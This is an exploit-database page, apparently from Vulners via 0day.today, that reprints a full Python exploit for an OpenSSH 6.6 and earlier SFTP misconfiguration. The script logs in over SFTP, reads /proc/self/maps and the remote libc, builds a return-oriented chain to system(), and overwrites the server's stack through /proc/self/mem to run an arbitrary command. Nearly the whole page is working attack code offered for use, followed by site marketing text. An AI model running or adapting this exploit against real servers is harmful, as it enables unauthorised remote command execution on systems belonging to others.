Lucene search
K

OpenSSH < 6.6 SFTP - Command Execution Exploit

🗓️ 10 Jul 2018 00:00:00Reported by SECFORCEType 
zdt
 zdt
🔗 0day.today👁 43 Views

OpenSSH SFTP Command Execution Exploit Analyzing /proc/self/maps on remote system Fetching libc from remote system. Patching /proc/self/mem on the remote system

Code
# OpenSSH <= 6.6 SFTP misconfiguration exploit for 32/64bit Linux
# The original discovery by Jann Horn: http://seclists.org/fulldisclosure/2014/Oct/35
#
# Adam Simuntis :: https://twitter.com/adamsimuntis
# Mindaugas Slusnys :: https://twitter.com/mislusnys
 
import paramiko
import sys
import time
from pwn import *
 
# parameters
cmd = 'touch /tmp/pwn; touch /tmp/pwn2'
host = '172.16.15.59'
port = 22
username = 'secforce'
password = 'secforce'
 
# connection
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(hostname = host, port = port, username = username, password = password)
sftp = ssh.open_sftp()
 
# parse /proc/self/maps to get addresses
log.info("Analysing /proc/self/maps on remote system")
sftp.get('/proc/self/maps','maps')
with open("maps","r") as f:
    lines = f.readlines()
    for line in lines:
        words = line.split()
        addr = words[0]
        if ("libc" in line and "r-xp" in line):
            path = words[-1]
            addr = addr.split('-')
            BITS = 64 if len(addr[0]) > 8 else 32
            print "[+] {}bit libc mapped @ {}-{}, path: {}".format(BITS, addr[0], addr[1], path)
            libc_base = int(addr[0], 16)
            libc_path = path
        if ("[stack]" in line):
            addr = addr.split("-")
            saddr_start = int(addr[0], 16)
            saddr_end = int(addr[1], 16)
            print "[+] Stack mapped @ {}-{}".format(addr[0], addr[1])
 
# download remote libc and extract information
print "[+] Fetching libc from remote system..\n"
sftp.get(str(libc_path), 'libc.so')
e = ELF("libc.so")
sys_addr = libc_base + e.symbols['system']
exit_addr = libc_base + e.symbols['exit']
 
# gadgets for the RET slide and system()
if BITS == 64:
    pop_rdi_ret = libc_base + next(e.search('\x5f\xc3'))
    ret_addr = pop_rdi_ret + 1
else:
    ret_addr = libc_base + next(e.search('\xc3'))
 
print "\n[+] system()  @ {}".format(hex(sys_addr))
print "[+] 'ret' @ {}".format(hex(ret_addr))
if BITS == 64:
    print "[+] 'pop rdi; ret' @ {}\n".format(hex(pop_rdi_ret))
 
with sftp.open('/proc/self/mem','rw') as f:
    if f.writable():
        print "[+] We have r/w permissions for /proc/self/mem! All Good."
    else:
        print "[-] Fatal error. No r/w permission for mem."
        sys.exit(0)
 
    log.info("Patching /proc/self/mem on the remote system")
 
    stack_size = saddr_end - saddr_start
    new_stack = ""
 
    print "[+] Pushing new stack to {}.. fingers crossed ;))".format(hex(saddr_start))
    #sleep(20)
    if BITS == 32:
        new_stack += p32(ret_addr) * (stack_size/4)
        new_stack = cmd + "\x00" + new_stack[len(cmd)+1:-12]
        new_stack += p32(sys_addr)
        new_stack += p32(exit_addr)
        new_stack += p32(saddr_start)
    else:
        new_stack += p64(ret_addr) * (stack_size/8)
        new_stack = cmd + "\x00" + new_stack[len(cmd)+1:-32]
        new_stack += p64(pop_rdi_ret)
        new_stack += p64(saddr_start)
        new_stack += p64(sys_addr)
        new_stack += p64(exit_addr)
 
    # debug info
    with open("fake_stack","w") as lg:
        lg.write(new_stack)
 
    # write cmd to top off the stack
    f.seek(saddr_start)
    f.write(cmd + "\x00")
 
    # write the rest from bottom up, we're going to crash at some point
    for off in range(stack_size - 32000, 0, -32000):
        cur_addr = saddr_start + off
 
        try:
            f.seek(cur_addr)
            f.write(new_stack[off:off+32000])
        except:
            print "Stack write failed - that's probably good!"
            print "Check if you command was executed..."
            sys.exit(0)
 
sftp.close()
ssh.close()

#  0day.today [2018-07-10]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation